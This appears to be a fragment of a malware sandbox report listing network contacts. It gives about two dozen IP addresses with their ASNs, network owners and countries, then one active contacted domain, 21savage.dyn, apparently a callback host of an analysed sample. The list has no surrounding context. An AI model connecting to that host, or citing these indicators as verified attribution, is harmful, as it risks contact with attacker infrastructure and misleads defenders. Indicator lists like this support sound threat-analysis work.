17405 FISERV-CORPORATEUS false
129.168.228.55
 unknown United States
297 AS297US false
117.204.134.183
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
78.249.156.1
 unknown France
12322 PROXADFR false
90.77.228.243
 unknown France
12479 UNI2-ASES false
9.139.112.81
 unknown United States
3356 LEVEL3US false
206.1.120.251
 unknown United States
174 COGENT-174US false
185.190.104.216
 unknown Russian Federation
43228 SIMPLE-TEL-ASRU false
215.252.250.85
 unknown United States
721 DNIC-ASBLK-00721-00726US false
22.76.16.224
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
142.32.188.55
 unknown Canada
3633 PROVINCE-OF-BRITISH-COLUMBIACA false
82.55.253.162
 unknown Italy
3269 ASN-IBSNAZIT false
31.48.58.150
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
110.237.235.255
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
67.67.11.202
 unknown United States
7018 ATT-INTERNET4US false
198.184.156.251
 unknown United States
19421 LANDSENDUS false
118.6.202.30
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
205.228.24.137
 unknown United States
5049 MORGAN-ASNUS false
199.187.131.143
 unknown United States
53834 DINCLUS false
37.6.39.14
 unknown Greece
25472 WIND-ASGR false
202.124.157.152
 unknown Philippines
17895 GLOBALREACH-APGlobalreacheBusinessNetworksIncPH false
116.192.8.54
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
188.0.171.209
 unknown Russian Federation
49724 VAINAHTELECOM-ASRU false

Contacted Domains

Name IP Active
21savage.dyn 103.253.147.242 true